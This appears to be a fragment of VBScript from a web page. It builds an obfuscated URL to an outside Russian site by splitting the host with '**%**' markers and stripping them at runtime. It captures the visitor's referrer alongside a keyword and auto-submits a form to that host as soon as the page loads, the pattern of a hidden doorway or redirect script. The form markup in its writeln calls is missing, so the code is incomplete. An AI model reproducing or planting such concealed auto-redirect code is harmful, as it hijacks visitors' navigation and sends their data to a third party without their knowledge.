' VB Script Document sub init_all dim kw kw="мини атс" temp_ref=document.referrer s_ref = replace(temp_ref, "&", "^^") n_url="h" & "t**%**t" & "p:" n_url=n_url & "//r" & "u**%**po" & "is" & "k.r" n_url=n_url & "u/in**%**dex.php" n_url = replace(n_url, "**%**", "") document.writeln("
") document.writeln("") document.writeln("") end sub sub go_p init_all() do_f.submit() end sub go_p()